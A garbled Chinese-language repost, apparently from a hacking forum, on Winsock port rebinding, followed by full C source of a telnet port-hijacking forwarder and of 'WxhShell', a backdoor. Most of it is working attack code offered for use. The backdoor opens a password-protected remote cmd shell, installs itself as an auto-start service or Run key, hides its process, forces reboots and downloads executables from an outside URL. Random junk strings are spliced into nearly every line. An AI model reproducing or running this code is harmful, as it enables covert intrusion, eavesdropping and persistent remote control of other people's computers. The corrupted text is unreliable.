在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
Fe&n, s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
AYPf)K;% RSPRfYU/ saddr.sin_family = AF_INET;
h*\TCl) 3<)@ll saddr.sin_addr.s_addr = htonl(INADDR_ANY);
!skb=B# )0n29 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
DNm7z[t{ )kL`&+#> 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
>xU72l#5 -@ UN]K 这意味着什么?意味着可以进行如下的攻击:
K.#,O+-Kg` /H jI=263 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
}/7.+yD Z}LOy^TL 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
7>t$<J i^yH?bH @~ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
0$f_or9T liugaRO8J 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
w8ZHk?: wcdW72 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
H)j[eZP A"\P&kqMV 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
tyn?o cwM#X;FGq
下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
iL7-4Lv# IFC%%It5, #include
%?]{U($? #include
nl)_`8= #include
/`4v"f0V #include
#uD)0zdw DWORD WINAPI ClientThread(LPVOID lpParam);
u|m[(-` int main()
P<cMP)+K {
-!'Oy%a# WORD wVersionRequested;
0\\ueMj DWORD ret;
R
"/xne WSADATA wsaData;
|dl0B26x BOOL val;
LaIW,+ SOCKADDR_IN saddr;
95.qAFB1 SOCKADDR_IN scaddr;
L~*|,h int err;
nV!2Dfd SOCKET s;
_Hz~HoNU SOCKET sc;
rQu int caddsize;
ou<S)_|Iu HANDLE mt;
5 `4}A%@& DWORD tid;
9]]!8_0=r wVersionRequested = MAKEWORD( 2, 2 );
V]l&{hl, err = WSAStartup( wVersionRequested, &wsaData );
HpB!a,R6B if ( err != 0 ) {
+8LM~voB printf("error!WSAStartup failed!\n");
8Zcol$XS' return -1;
R4#;<) }
}Kvh`@CiJ saddr.sin_family = AF_INET;
4)3g!o? K)<Wm,tON //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
dIoF ~8V m.1LxM$8 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
33=Mm/<m$P saddr.sin_port = htons(23);
#5'c\\?Q if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
3c01uObTL {
o\_
Td printf("error!socket failed!\n");
Pk$}%;@v return -1;
e%PCe9 }
7[ZkM+z! val = TRUE;
9uA,
+ //SO_REUSEADDR选项就是可以实现端口重绑定的
8!Wfd)4=,F if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
^c/mj9M#C {
y<O@rD8iA printf("error!setsockopt failed!\n");
*<B)Z return -1;
xCR;
K]! }
.i
MnWW //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
E"Zb};} //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
^{),+S //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
K5P Gi# JzHqNUn*M if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
zl0;84:H {
zx
ct( ret=GetLastError();
+2-
qlU printf("error!bind failed!\n");
y:qx5Mi return -1;
bBA$}bv }
lo"j )Zt listen(s,2);
2>\b: while(1)
{?w"hjy {
7@FDBjq caddsize = sizeof(scaddr);
DP|TIt ,Rl //接受连接请求
'P+f|d[ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
=.DTR5(_h if(sc!=INVALID_SOCKET)
JRD8Lz]Q3 {
])eOa% mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
cvhlRI%6 if(mt==NULL)
o1e4.-xI {
>J.Qm0TY( printf("Thread Creat Failed!\n");
\xF;{}v break;
kzMa+(fu }
B#1:Y;Z }
9e]'OKL+ CloseHandle(mt);
itw{;j }
Jff 79)f closesocket(s);
A1Ka(3" WSACleanup();
]\7lbLv return 0;
I|Z/`9T }
6eM6[ DWORD WINAPI ClientThread(LPVOID lpParam)
p<q].^M {
<8f(eP\*F SOCKET ss = (SOCKET)lpParam;
U7E SOCKET sc;
.?B{GnB> unsigned char buf[4096];
TiQ^}5~M SOCKADDR_IN saddr;
Vd21,~^>g long num;
MO-!TZ+6 DWORD val;
kymn)Ea DWORD ret;
0potz]} //如果是隐藏端口应用的话,可以在此处加一些判断
Gbn4*<N //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
oKRFd_r + saddr.sin_family = AF_INET;
+ZclGchw saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
9^au$KoU saddr.sin_port = htons(23);
;Xyte if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
.9OFryo {
9s(i`RTM printf("error!socket failed!\n");
Rjq a_hxrS return -1;
yc[(lq.^n }
}a ^|L"
val = 100;
)km7tA
0a if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
/=TH08 {
-TTs.O8P|< ret = GetLastError();
r1;e 0\?` return -1;
L<=) @7 }
vOe0}cR if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
g_vm&~U/' {
?Wa<AFXQ ret = GetLastError();
nv)))I\ return -1;
B6MkF"J< }
w12}Rn8 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
UOt8Q0)} {
krjN7& printf("error!socket connect failed!\n");
I+",b4 closesocket(sc);
@1bH}QS closesocket(ss);
LG&5VxT=,< return -1;
K&dT(U }
$P nLG]X while(1)
}Eh*xOta {
[7.agI@= //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
% O%xpSYr //如果是嗅探内容的话,可以再此处进行内容分析和记录
Ri @`a //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
NR3`M?Hjf num = recv(ss,buf,4096,0);
>f$NzJ} if(num>0)
k>5 O`Y: send(sc,buf,num,0);
J +q|$K6 else if(num==0)
lhO2'#]i break;
Qxt@V num = recv(sc,buf,4096,0);
sS9%3i/> if(num>0)
e_rzA send(ss,buf,num,0);
/oL8;:m else if(num==0)
O('Nn]wo~9 break;
9/kXc4 }
AVFjBybu9 closesocket(ss);
;Z9IZ~ closesocket(sc);
C-w5KW return 0 ;
:=fvZA WD }
N wtg%; c!wtf,F Yb:pAzw6 ==========================================================
Lgi[u"Du 5<+KR.W 下边附上一个代码,,WXhSHELL
!#}7{ Phs-(3 ==========================================================
WG5W0T_ /k6fLn2; #include "stdafx.h"
CdZ BG e:-8k_0| #include <stdio.h>
\ZH&LPAY #include <string.h>
XsL#;a C #include <windows.h>
9wh2f7k #include <winsock2.h>
XG 0v #include <winsvc.h>
Bs!4H2@{(] #include <urlmon.h>
"A[ b
rG ;t(f1rPyE #pragma comment (lib, "Ws2_32.lib")
/:[2'_Xl #pragma comment (lib, "urlmon.lib")
2Z/K(J"&J <Q5Le dN #define MAX_USER 100 // 最大客户端连接数
2]WE({P #define BUF_SOCK 200 // sock buffer
M1!pQC_9 #define KEY_BUFF 255 // 输入 buffer
[j9E pi( i8PuC^] #define REBOOT 0 // 重启
^b-18 ~s #define SHUTDOWN 1 // 关机
nII^mg~ Z|*!y]We #define DEF_PORT 5000 // 监听端口
cQUC.TZ_ !;
v~^#M]~ #define REG_LEN 16 // 注册表键长度
u8vuwbra! #define SVC_LEN 80 // NT服务名长度
+R.N%_ <{J5W6 // 从dll定义API
3,eIB( typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
K%j&/T j1 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
O'DW5hBL0 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
rrBAQY|. typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
(pR.Abq xN0*8 // wxhshell配置信息
KEr\nKT1 struct WSCFG {
s0W2?!>) int ws_port; // 监听端口
rOfK~g,X char ws_passstr[REG_LEN]; // 口令
53OJ-m%a int ws_autoins; // 安装标记, 1=yes 0=no
3f76kl(& char ws_regname[REG_LEN]; // 注册表键名
q/&y*)&'O char ws_svcname[REG_LEN]; // 服务名
(lH,JX`$a char ws_svcdisp[SVC_LEN]; // 服务显示名
[=TCEU{"~ char ws_svcdesc[SVC_LEN]; // 服务描述信息
Om'(mr char ws_passmsg[SVC_LEN]; // 密码输入提示信息
uB.-t^@ int ws_downexe; // 下载执行标记, 1=yes 0=no
IB5BO7J char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
n!ok?=(kQ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
!K0JV|-?t 3I=kr };
{Gi h&N RDQ^dui // default Wxhshell configuration
%i0\1hhV< struct WSCFG wscfg={DEF_PORT,
#`SD$; "xuhuanlingzhe",
4&X*pL2; 1,
w
YNloU "Wxhshell",
B|{I:[ "Wxhshell",
~,gXaw "WxhShell Service",
GH4iuPh] "Wrsky Windows CmdShell Service",
)@g;j> "Please Input Your Password: ",
zY9H% 1,
]]iPEm"@ "
http://www.wrsky.com/wxhshell.exe",
o|8`>!hF "Wxhshell.exe"
V64L,u#`l };
)ZR+lX} r0dDHj~F // 消息定义模块
i^"+5Eq[D char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
=[tSd)D,y char *msg_ws_prompt="\n\r? for help\n\r#>";
(M-ZQ
- char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
%}Q&1P= char *msg_ws_ext="\n\rExit.";
udqS'g& char *msg_ws_end="\n\rQuit.";
'ktHPn
,K char *msg_ws_boot="\n\rReboot...";
&XLD S=j char *msg_ws_poff="\n\rShutdown...";
wsfd8T4 char *msg_ws_down="\n\rSave to ";
8\ha@&p |$lwkC)O char *msg_ws_err="\n\rErr!";
4rNL":"O char *msg_ws_ok="\n\rOK!";
||B;o- [w\?j, char ExeFile[MAX_PATH];
`iShJz96 int nUser = 0;
!Jfs?Hy HANDLE handles[MAX_USER];
*JCQu0 int OsIsNt;
b!>\2DlyJ <eN R8(P SERVICE_STATUS serviceStatus;
/\d$/~BFi SERVICE_STATUS_HANDLE hServiceStatusHandle;
Y}R}-+bD/ f<jb=\}x // 函数声明
hq>Csj==@ int Install(void);
\>/M .2 int Uninstall(void);
T5lQIr@a int DownloadFile(char *sURL, SOCKET wsh);
Z0,~V int Boot(int flag);
vq'c@yw; void HideProc(void);
D$eB ,~
int GetOsVer(void);
WgGm#I>K
int Wxhshell(SOCKET wsl);
,K9f_bv void TalkWithClient(void *cs);
I?!rOU=0
int CmdShell(SOCKET sock);
5"Kx9n| int StartFromService(void);
D@YP7 int StartWxhshell(LPSTR lpCmdLine);
&%aXR A#+ jk~:\8M(A VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
pa
.K-e)Mu VOID WINAPI NTServiceHandler( DWORD fdwControl );
'md0] R| f>Td)s1
M // 数据结构和表定义
LX+5|u SERVICE_TABLE_ENTRY DispatchTable[] =
|VH!)vD {
**_&i!dtL {wscfg.ws_svcname, NTServiceMain},
yYJY;".H {NULL, NULL}
}E<^gAh} };
NY j#A%q"]8 // 自我安装
m 40m<@ int Install(void)
,lN5,zI=S {
Dma.r char svExeFile[MAX_PATH];
KlxN~/gyik HKEY key;
| FM
} strcpy(svExeFile,ExeFile);
^y.UbI Q'NmSX)0 // 如果是win9x系统,修改注册表设为自启动
Z)<
wv&K if(!OsIsNt) {
[2Mbk~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
!F4;_A`X RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
t={0( RegCloseKey(key);
)6oGF>o> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
$K}.
+`vVO RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
%n?vJ#aX% RegCloseKey(key);
z5cYyx
r> return 0;
`$;+g , }
Rs;15@t@ }
3fS}:!sQ }
I+?hG6NM else {
fjz) Gp h BMH)aU // 如果是NT以上系统,安装为系统服务
j+ ::y) $ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
T|4snU2M if (schSCManager!=0)
qt?*MyfV {
dbGgD=}o SC_HANDLE schService = CreateService
+c,[ Q (
m\0cE1fir schSCManager,
*YV
S|6bs wscfg.ws_svcname,
>l1r,/\\ wscfg.ws_svcdisp,
**;p(CI SERVICE_ALL_ACCESS,
eD#XDK SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
19u =W( SERVICE_AUTO_START,
lu\o`m5wF SERVICE_ERROR_NORMAL,
I."p svExeFile,
L10IF NULL,
[s6C
ZcL NULL,
/p`&;/V| NULL,
pa/9F[ NULL,
!c(QSf502 NULL
pA4 ,@O );
7Ua7A if (schService!=0)
6SEltm( {
G?)vWM`j CloseServiceHandle(schService);
:{}_|]>K CloseServiceHandle(schSCManager);
WStnzVe strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
.XH8YT42 strcat(svExeFile,wscfg.ws_svcname);
Bq}x9C&< if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
l gq=GHW RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
EA0iYzV RegCloseKey(key);
wK5_t[[ return 0;
W'/>et }
3)E(RyQA3 }
>)Dhi+D CloseServiceHandle(schSCManager);
Jq1 n0O }
Lo`F }
_/x&<,3 h7W}OF_=y return 1;
J_"3UZ~& }
W<'<'z5 f1cl'; // 自我卸载
;93KG4a int Uninstall(void)
#x)}29%e# {
i\x~iP&F$ HKEY key;
h|W%4|]R) 7'.s7&
'7 if(!OsIsNt) {
rg)h5G if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
h}6_ybmZ RegDeleteValue(key,wscfg.ws_regname);
*x,HnHT RegCloseKey(key);
Q_}n%P:u if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
qi\n] I RegDeleteValue(key,wscfg.ws_regname);
'p)QyL`d RegCloseKey(key);
L8P36]> return 0;
bXvbddu)} }
h$&rE@N| }
fN[n>%)VO< }
2Ow<`[7 else {
EA yukM2 Bz:0L1@,4a SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
ptR if (schSCManager!=0)
2oB?Dn {
NbDda/7ki SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
EXHR(t}e if (schService!=0)
fI}c 71b` {
Q
X):T#^V if(DeleteService(schService)!=0) {
/Sj_y*x1e CloseServiceHandle(schService);
,.7vBt6 p CloseServiceHandle(schSCManager);
yA}nPXrd return 0;
uu@<&.r\C }
#M:B3C!ouY CloseServiceHandle(schService);
_LsYMUe }
I}%mfojC CloseServiceHandle(schSCManager);
$Sw,hb }
E7LbSZ }
JD-Becz !7Uu]m69n return 1;
JU2P%3 }
`&,_xUA ]:!8 s\# // 从指定url下载文件
ec1Fg0Fa int DownloadFile(char *sURL, SOCKET wsh)
d3(+ztmG! {
x{j+}'9 HRESULT hr;
`W="g6( char seps[]= "/";
o[imNy~ ~ char *token;
30BR0C char *file;
lXw;|dGF char myURL[MAX_PATH];
/O_0=MLp char myFILE[MAX_PATH];
)2toL5 Q flPZlL strcpy(myURL,sURL);
sgD@}":m token=strtok(myURL,seps);
du8!3I while(token!=NULL)
Q>V?w gZ {
Qw}xGlF, file=token;
E4hq} token=strtok(NULL,seps);
nHE+p\ }
dZ-Ny_@& svF*@(-P# GetCurrentDirectory(MAX_PATH,myFILE);
D8a)( wm strcat(myFILE, "\\");
2"zI R( strcat(myFILE, file);
]y$)%J^T send(wsh,myFILE,strlen(myFILE),0);
rT o%=0P send(wsh,"...",3,0);
E8+8{
#f; hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
= SA
4\/ if(hr==S_OK)
20n%o&kG]8 return 0;
$B*qNYpPy. else
bL+sN"Km return 1;
#3YdjU3w XL=2wh }
[;)~nPjI n}) // 系统电源模块
:m)c[q8 int Boot(int flag)
*
.oi3m {
{c.}fyN HANDLE hToken;
OX'/?B(( TOKEN_PRIVILEGES tkp;
}o~Tw?z-| ))c*_n if(OsIsNt) {
RJQ/y3 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
hLu&lY LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
>6n@\n tkp.PrivilegeCount = 1;
$[WN[J tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
y[TaM9< AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
n\~"Wim<b if(flag==REBOOT) {
FA5k45wL if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
'&rw=.cU return 0;
NHst7$Y< }
F[Qs v54 else {
:DF`A( if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
4yJ01s return 0;
lsTe*Od }
'5&B~ 1& }
8Xt=eL/P else {
&e5^v if(flag==REBOOT) {
Z3&XTsq if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
vLVSZX return 0;
3/]f4D{MMY }
#l8K8GLuf else {
C={sE*&dYX if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
f)!{y>Q return 0;
bYRQI=gW': }
>rQ)|W=i }
~cWLu5 ]}*G[[
^p return 1;
J\,@Bm|1n{ }
qCv}+d) Y D1g]p // win9x进程隐藏模块
hU=f?jo/ void HideProc(void)
EV;;N {
Wl}G[>P lS Kv* HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
*>R/(Q if ( hKernel != NULL )
'JXN*YO {
\n( 'KVbf pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
lVO(9sl*i ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
FZLzu FreeLibrary(hKernel);
'SXpb?CZ }
^!{ o Azy9 G=0}IPfp return;
YV>VA<c }
IT{.^rP w Lg:YM" // 获取操作系统版本
h3vm<R; int GetOsVer(void)
cUX]tiC0 {
VA*79I#_q OSVERSIONINFO winfo;
_*-'yu8# winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
1+y6W1m^R GetVersionEx(&winfo);
4h0jX9 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
)QJU]G return 1;
Y_TL4 else
% /wP2O< return 0;
GqF.T#| }
8aIq#v M,dzf
// 客户端句柄模块
r5$?4t int Wxhshell(SOCKET wsl)
DG%%] {
kA9 X!)2w SOCKET wsh;
sGm(Aax*0 struct sockaddr_in client;
I]j/ ab7> DWORD myID;
.]d
tRH< "5z6~dq while(nUser<MAX_USER)
F7PZV+\ {
e"8m+] int nSize=sizeof(client);
.TrQ +k> wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
QR-R5XNT[ if(wsh==INVALID_SOCKET) return 1;
I3y4O^? lPSDY&`P handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
@nW(KF if(handles[nUser]==0)
E)Epr&9S closesocket(wsh);
e, 3(i!47 else
;<ma K*f\S nUser++;
Q)i`.mHfFI }
b.u8w2( WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
{~{s =c0 WT? U~.U return 0;
r H_:7#.E }
8t
35j jtOsb91c} // 关闭 socket
UA u4x 7 void CloseIt(SOCKET wsh)
K@u."eaD {
5x'y{S< closesocket(wsh);
OU5|m%CmO nUser--;
3B|-xq;]I ExitThread(0);
F!cAaL1 }
10C91/ ?cxK~Y\ // 客户端请求句柄
a9_KQ=&CI void TalkWithClient(void *cs)
40sLZa)e {
%H~gN9Vn#@ s7.*o@G SOCKET wsh=(SOCKET)cs;
:NyE d<' char pwd[SVC_LEN];
=}KbE4D+8 char cmd[KEY_BUFF];
|dzF>8< ) char chr[1];
ti2_kYq int i,j;
G&H"8REm BfLZ while (nUser < MAX_USER) {
0-~x[\>> =8D4:Ds if(wscfg.ws_passstr) {
k0uwG'(z9 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
`5&V}"lB //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
%$KO]
//ZeroMemory(pwd,KEY_BUFF);
JU.%;e7 i=0;
$NRb' while(i<SVC_LEN) {
MW>28 !Qzp!k9d // 设置超时
GLF"`M /g fd_set FdRead;
itgO#(g$Q struct timeval TimeOut;
v('d H"Y FD_ZERO(&FdRead);
<BA&S
_=4 FD_SET(wsh,&FdRead);
R u-rp^a TimeOut.tv_sec=8;
y]%,Y=%X TimeOut.tv_usec=0;
F
;&e5G int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
3:#rFb if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
n"Vd"}sU. p00AcUTq if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
<~+ pwd
=chr[0]; LS$82UB&
if(chr[0]==0xd || chr[0]==0xa) { PtOnj)Q
pwd=0; }O
break; jsQ$.)nO
} -"H4brj;G
i++; `%p6i|
_Q
} sR.j~R
TMsoQ82
// 如果是非法用户,关闭 socket &Qjl|2
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 6Qu*'
} >#|Yoc
cvfAa#tq>
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0&@pX~h:
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >6+K"J-@
i@L2W>{P
while(1) { [+z:^a1?V
>t(@?*ZFT
ZeroMemory(cmd,KEY_BUFF); I9>*Yy5RNS
|9eY
R
// 自动支持客户端 telnet标准 c"1d#8J
j=0; ,+.#
eg
while(j<KEY_BUFF) { ppKCY4
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); p04+"
cmd[j]=chr[0]; G-
WJlu
if(chr[0]==0xa || chr[0]==0xd) { !k9h6/b6
cmd[j]=0; w-Fk&dC69
break; \
6a
} k)Wz b
j++; l.l~K%P'h
} 'qE
pr(\?\a
// 下载文件 DU8LU*q'
if(strstr(cmd,"http://")) { i{qU RP}.
send(wsh,msg_ws_down,strlen(msg_ws_down),0); vy2aNUmt
if(DownloadFile(cmd,wsh)) 1H7Q[ 2E
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ypj)6d
else |3ETF|)?
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Dj(7'jT
} _1Gut"!{\
else { p5VSSvV\K
W[<":NX2
switch(cmd[0]) { ;tiUOixJ
J?fh3RW9
// 帮助
RQNi&zX/
case '?': { X{9o8
*V
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); tta0sJ8i
break; 6qpV53H
} LfXr(2u
// 安装 5zna?(#}
case 'i': { ABmDSV5i
if(Install()) ?I#hrv@
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1[9j`~[([
else eH/\7)z
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z
]N~_9w
break; N==_'`O1Q0
} 3eP0v
// 卸载 l{m~d!w`a
case 'r': { 0.+eF }'H
if(Uninstall()) +J8/,d
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~c$ts&Cl
else -8 =u{n
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L#q9_-(#
break; HTyF<K
} \+Ln~\Sv
// 显示 wxhshell 所在路径 w?W e|x3
case 'p': { ^6y4!='ci
char svExeFile[MAX_PATH]; f.)F8!!
strcpy(svExeFile,"\n\r"); <;E[)tv
strcat(svExeFile,ExeFile); (jMAa%
send(wsh,svExeFile,strlen(svExeFile),0); TM}'XZ&
break; @EOR]^?!]
} 33*d/%N9
// 重启 x$J.SbW
case 'b': { iZ6C8HK&&
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); T_tDpq_|
if(Boot(REBOOT)) PeUd
send(wsh,msg_ws_err,strlen(msg_ws_err),0); + >gbZ-S
else { @))}\:
closesocket(wsh); %i
-X@.P
ExitThread(0); &}6ES{Nr8
} cm 9oG
break; 0"qim0%|DF
} !:O/|.+Vmf
// 关机 LLn{2,jfQ
case 'd': { *(&ClUQQ
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); >yA,@%X
if(Boot(SHUTDOWN)) K
l0tyeT
send(wsh,msg_ws_err,strlen(msg_ws_err),0); +>WC^s
else { 1'v !9
closesocket(wsh); S|q!? /jqj
ExitThread(0); q]i(CaKh
} k#Ez
break; "H="Ip!s
} `f6)Q`n
// 获取shell
&<w[4z\
case 's': {
4 %!{?[$
CmdShell(wsh); &J^4Y!gt
closesocket(wsh); ,P@/=I5
ExitThread(0); aq0iNbv@
break; oWx_O-_._
} bQdSX8: !R
// 退出 G_^iR-
case 'x': { )zW%\s*'
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [<Os~bfOv
CloseIt(wsh); Q$fRi[/L
break; kByrhK5U
} oEQ{m5O9
// 离开 s^g.42?u
case 'q': { 0eqi1;$b]
send(wsh,msg_ws_end,strlen(msg_ws_end),0); b'7z DZI]
closesocket(wsh); Z&dr0w8
WSACleanup(); 9|N"@0<B
exit(1); 5@+4
break; f2O*8^^Y{Q
} v@fe-T&0
} "?.'{,Q
} @e!Zc3
&2io^AP
// 提示信息 ceFsGdS
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); OU,PO2xX9
} v[{8G^Z}54
} b^[W_y
M5GY>3P$c
return; #`jE%ONC
} >~I
xyQp
AT B\^;n.
// shell模块句柄 eyeNrk*2o
int CmdShell(SOCKET sock) Gnbfy4Z
{ <w0NPrS]
STARTUPINFO si; ixIV=#
ZeroMemory(&si,sizeof(si)); 4S,. R
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _0'm4?"
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Y{B9`Z
PROCESS_INFORMATION ProcessInfo; B{7Kzwh;
char cmdline[]="cmd"; "?apgx 6
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); yicO!:bM
return 0; -O|&